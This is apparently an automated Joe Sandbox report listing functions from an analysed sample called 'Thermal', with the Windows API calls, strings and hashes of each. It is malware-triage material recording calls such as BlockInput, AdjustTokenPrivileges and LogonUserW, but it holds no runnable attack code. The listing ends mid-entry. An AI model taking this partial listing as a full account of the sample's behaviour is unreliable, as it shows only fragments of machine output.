Function 001A59B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 001A5A02
IsWindowEnabled.USER32 ref: 001A5A10
GetForegroundWindow.USER32(?,?,00000001), ref: 001A5A1D
IsIconic.USER32 ref: 001A5A2B
IsZoomed.USER32 ref: 001A5A39

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: d47793a5e2eb70af742e076f4e4e6b1b0048bb8ee3308bff7dd63e234f15e457
Instruction ID: 16f307b9cfd7a85518ceaaa11be2ca17acac4ef0614ca8333af1290807b34bfd
Opcode Fuzzy Hash: d47793a5e2eb70af742e076f4e4e6b1b0048bb8ee3308bff7dd63e234f15e457
Instruction Fuzzy Hash: 4611273A3049259FE7225F66DC84A2FBB9AFF59760F014229F846D7241DB30ED018AE0

Function 00160030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00160034
__swprintf.LIBCMT ref: 00160065

Strings

WIN_XPe, xrefs: 001600A4
%.3d, xrefs: 0016003F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: ac2b0b378f5d48dc487f1659cbb61ae634f62b46bb6a6d2a482cadaa7753ff8b
Instruction ID: 8198e1030846a73b13f9eab7365885b526b2e1cd57d6ed3ef705831a258d370b
Opcode Fuzzy Hash: ac2b0b378f5d48dc487f1659cbb61ae634f62b46bb6a6d2a482cadaa7753ff8b
Instruction Fuzzy Hash: 85D01271808119EACB0E9A90CD45DFB737CAB0C344F120552F506A2040E73597A89B22

Function 001929BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00191ED6,00000000), ref: 00192AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00192AE4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: cbae0bb4e63326d55861c6a160df74bef2b7c3d6407d10634ecaff083d59242f
Instruction ID: 3774101ef844b8852bf8d0505efd18100adaeb2974793873e7e2853df9154e7b
Opcode Fuzzy Hash: cbae0bb4e63326d55861c6a160df74bef2b7c3d6407d10634ecaff083d59242f
Instruction Fuzzy Hash: 3541D572A00209BFEF20DE95CC85EBBB7FCEB40764F10405AF605A7551EB719E819660

Function 00179399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00140FE6: std::exception::exception.LIBCMT ref: 0014101C
Part of subcall function 00140FE6: __CxxThrowException@8.LIBCMT ref: 00141031

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 001793E3
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00179410
GetLastError.KERNEL32 ref: 0017941D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 838c2f76316ad04b499c6a91c28444d04d48e04ef5d880b06bf7762232750028
Instruction ID: b8544a41e2a376913a62f174d217123c7ed39f49e64c9beac077364a10fee6f4
Opcode Fuzzy Hash: 838c2f76316ad04b499c6a91c28444d04d48e04ef5d880b06bf7762232750028
Instruction Fuzzy Hash: 15116DB1414205AFD728EF64DCC5D2BB7B8FB48750B20852EF45A92650EB70AC45CA60

Function 00184254 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00184271
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 001842B2
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 001842BD

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 48f7f13fea1b4b64ace72c1fed66c250e14ce2bedd3fdbf8f7a2aa95032a36b9
Instruction ID: 6d16b677da4ffe80e3cee08fb5de6550aa07019f3e642987925b3d1989b48a47
Opcode Fuzzy Hash: 48f7f13fea1b4b64ace72c1fed66c250e14ce2bedd3fdbf8f7a2aa95032a36b9
Instruction Fuzzy Hash: 3A118271E05228BFDB108F95AC44BAFBBBCEB49B60F104255FD04E7290C7704A008BA1

Function 00184F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00184F45
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00184F5C
FreeSid.ADVAPI32(?), ref: 00184F6C

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 6be5dc058c0f88dac50d25b3a705f02574d4ed9e3d1f037fcabb6f27222625bc
Instruction ID: 0a4073fe7e40e78dc4c886ff0683af54014d8e5ba4a83c9629d52a2264ea4f47
Opcode Fuzzy Hash: 6be5dc058c0f88dac50d25b3a705f02574d4ed9e3d1f037fcabb6f27222625bc
Instruction Fuzzy Hash: 6BF04975A1130DBFDF00EFE4DC89AAEBBBCEF08201F1045A9BA01E2580E7356A448B50

Function 00181AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00181B01
keybd_event.USER32(?,75A4C0D0,?,00000000), ref: 00181B14

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 9bdbc63889587b0f7d319319f787392e413d8bcce192ddcf54ff6fa5f1aabe94
Instruction ID: da35278d82a3cfa59612ab9af3a6b148e7a00efe957bda0f1bdcf5c76e1ab384
Opcode Fuzzy Hash: 9bdbc63889587b0f7d319319f787392e413d8bcce192ddcf54ff6fa5f1aabe94
Instruction Fuzzy Hash: 93F0497290020DABDB15DF94C805BFE7BB8FF08315F00814AF95596292D3799A16DF94

Function 0018A6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00199B52,?,001B098C,?), ref: 0018A6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00199B52,?,001B098C,?), ref: 0018A6EC

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: c95b839561f2d5bab6863bb3c87ce338c86a3522deedc1ae8fd22f4b7d7ddeb5
Instruction ID: ce1d1bba34c4e30254fc0c85413da03a0344d3523b8b6d9f7baf5baa8bd571dd
Opcode Fuzzy Hash: c95b839561f2d5bab6863bb3c87ce338c86a3522deedc1ae8fd22f4b7d7ddeb5
Instruction Fuzzy Hash: 2FF0893550421DBBDB21AFA4CC48FDA776CBF09351F004256B91896151D7709654CFA1

Function 00178DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00178F27), ref: 00178DFE
CloseHandle.KERNEL32(?,?,00178F27), ref: 00178E10

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 19eea5f6720fab36e1c486d3f67bac38cfaad09d1e2b3111950925f63c1f0c36
Instruction ID: 25ef7b689a817c8358ec75f4c7acdf7d6cae57d09fe6b99e0210316e5fda75be
Opcode Fuzzy Hash: 19eea5f6720fab36e1c486d3f67bac38cfaad09d1e2b3111950925f63c1f0c36
Instruction Fuzzy Hash: EBE0B676010610EFE7266B60EC09E777BEDEB08350B248929F49A81870DB62ACD0DB50

Function 0014A385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00148F87,?,?,?,00000001), ref: 0014A38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0014A393

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c8674b741130da7388e0e67daf3dc41a2a20e6e639363d1355c4e37afcc0dac6
Instruction ID: b83cd3b4d3f0724aaf3dea91362ea340f177612330c21a5846d83e5195e489a1
Opcode Fuzzy Hash: c8674b741130da7388e0e67daf3dc41a2a20e6e639363d1355c4e37afcc0dac6
Instruction Fuzzy Hash: 99B09231064208AFCA422B91EC0DB8A3FA8FB48AA2F004110F60E44870CB6254908A91

Function 001945D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 001945F0

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: ef4d86023d34fa572ddbd2463acc263a678f304a2c1da7cab17e2c5f897ea05d
Instruction ID: 2ba63ed16c3c58b0d08e43328a69a00147674eb45e180305eaa823ff4d0d147b
Opcode Fuzzy Hash: ef4d86023d34fa572ddbd2463acc263a678f304a2c1da7cab17e2c5f897ea05d
Instruction Fuzzy Hash: F9E0DF31200219AFD710AFA9E800E8BF7E8AFA87A0F01C016FC09C7310DB70F8418B90

Function 001851E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00185205

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 741bd12cbcd46ee7399936faf96be3b668c63c9d6ef5d879d6b69169c936610d
Instruction ID: 566311cef8abf992d5f0a6e99bec9ca46cc06f5262a5faa0e7bc92831dd30388
Opcode Fuzzy Hash: 741bd12cbcd46ee7399936faf96be3b668c63c9d6ef5d879d6b69169c936610d
Instruction Fuzzy Hash: 63D052A4260E0A38EF2823248E0FF76020BE3217C0F8442897002894C2EFD06A85AE31

Function 00179369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00178FA7), ref: 00179389

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 9ca27dc81d270b6108d5f1245ad3507c77fac7d255615353cdeec4b69ddc14e0
Instruction ID: 0411e140ae80c78d40630055e31defad9dd08fb4eb8ae1a2b00fc1e81670aad1
Opcode Fuzzy Hash: 9ca27dc81d270b6108d5f1245ad3507c77fac7d255615353cdeec4b69ddc14e0
Instruction Fuzzy Hash: 3BD05E3226050EABEF019EA4DC02EAF3B69EB04B01F408111FE15C50A0C776D835AB60

Function 00160722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00160734

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1a59af56b0721f35c1394a0c5f61541e38631e1fb77313e1abd2c639cf0a8f7b
Instruction ID: 4d1b44d9bc7a127c65d21f43d3237d640f27a8ffcd7b629cef07f98c1301dbaa
Opcode Fuzzy Hash: 1a59af56b0721f35c1394a0c5f61541e38631e1fb77313e1abd2c639cf0a8f7b
Instruction Fuzzy Hash: 85C04CF1800109DBCB06DBA0D988EEF77BCAB08344F100155B105B2100D7749B448A71

Function 0014A354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0014A35A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 33a727ee03829a5479265f4da2eb81c21b2c84edebf90fb66f8e8439dec3b29d
Instruction ID: 383ae6042fc51485d207ea3a38e74758940f679da6d97780f8e363b7f78c7eea
Opcode Fuzzy Hash: 33a727ee03829a5479265f4da2eb81c21b2c84edebf90fb66f8e8439dec3b29d
Instruction Fuzzy Hash: 0FA0123001010CAB8A011B41EC084457F9CE7041907004010F40D00431873254504580

Function 001A3BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,001B0980), ref: 001A3C65
IsWindowVisible.USER32(?), ref: 001A3C89

Strings

GETLINECOUNT, xrefs: 001A3F04
TABLEFT, xrefs: 001A3CC5
GETCURRENTLINE, xrefs: 001A3F2B
ISVISIBLE, xrefs: 001A3C75
GETSELECTED, xrefs: 001A3EE1
CURRENTTAB, xrefs: 001A3CFB
TABRIGHT, xrefs: 001A3CDB
ISCHECKED, xrefs: 001A3E77
GETLINE, xrefs: 001A3FD9
EDITPASTE, xrefs: 001A3F9D
ISENABLED, xrefs: 001A3CA9
SHOWDROPDOWN, xrefs: 001A3D1E
GETCURRENTCOL, xrefs: 001A3F66
FINDSTRING, xrefs: 001A3DB4
UNCHECK, xrefs: 001A3EC1
ADDSTRING, xrefs: 001A3D54
SENDCOMMANDID, xrefs: 001A4018
SELECTSTRING, xrefs: 001A3E44
CHECK, xrefs: 001A3EAB
HIDEDROPDOWN, xrefs: 001A3D3E
DELSTRING, xrefs: 001A3D87
SETCURRENTSELECTION, xrefs: 001A3DF4
GETCURRENTSELECTION, xrefs: 001A3E21

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: b196b9c2f03f621c560378af7dd0d23664264ef3deea618f5fcc501a25302e2f
Instruction ID: 32f0d792038b608389912be3ba41a79901a05464ea6be4062602905930afbde5
Opcode Fuzzy Hash: b196b9c2f03f621c560378af7dd0d23664264ef3deea618f5fcc501a25302e2f
Instruction Fuzzy Hash: 09D18134204215DBCB05EF50C951FAEB7B1AFA5354F108859F9566B3B2CB31EE4ACB82

Function 001AABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 001AAC55
GetSysColorBrush.USER32(0000000F), ref: 001AAC86
GetSysColor.USER32(0000000F), ref: 001AAC92
SetBkColor.GDI32(?,000000FF), ref: 001AACAC
SelectObject.GDI32(?,?), ref: 001AACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 001AACE6
GetSysColor.USER32(00000010), ref: 001AACEE
CreateSolidBrush.GDI32(00000000), ref: 001AACF5
FrameRect.USER32(?,?,00000000), ref: 001AAD04
DeleteObject.GDI32(00000000), ref: 001AAD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 001AAD56
FillRect.USER32(?,?,?), ref: 001AAD88
GetWindowLongW.USER32(?,000000F0), ref: 001AADB3

Part of subcall function 001AAF18: GetSysColor.USER32(00000012), ref: 001AAF51
Part of subcall function 001AAF18: SetTextColor.GDI32(?,?), ref: 001AAF55
Part of subcall function 001AAF18: GetSysColorBrush.USER32(0000000F), ref: 001AAF6B
Part of subcall function 001AAF18: GetSysColor.USER32(0000000F), ref: 001AAF76
Part of subcall function 001AAF18: GetSysColor.USER32(00000011), ref: 001AAF93
Part of subcall function 001AAF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 001AAFA1
Part of subcall function 001AAF18: SelectObject.GDI32(?,00000000), ref: 001AAFB2
Part of subcall function 001AAF18: SetBkColor.GDI32(?,00000000), ref: 001AAFBB
Part of subcall function 001AAF18: SelectObject.GDI32(?,?), ref: 001AAFC8
Part of subcall function 001AAF18: InflateRect.USER32(?,000000FF,000000FF), ref: 001AAFE7
Part of subcall function 001AAF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 001AAFFE
Part of subcall function 001AAF18: GetWindowLongW.USER32(00000000,000000F0), ref: 001AB013

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 96eb4f02da61e8cc01459db7ac0b3299bc0c5b2f69142ff39f65f6f477133c9c
Instruction ID: 1259ac364f48421c76e787a167de044e4ef1fadc022612bf0df8a8bcaa4e99ca
Opcode Fuzzy Hash: 96eb4f02da61e8cc01459db7ac0b3299bc0c5b2f69142ff39f65f6f477133c9c
Instruction Fuzzy Hash: 6CA17C72408301BFD7269F64DC48A6BBBA9FF89321F500B19F9A2965E0D731D984CF52

Function 00122FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00123072
DeleteObject.GDI32(00000000), ref: 001230B8
DeleteObject.GDI32(00000000), ref: 001230C3
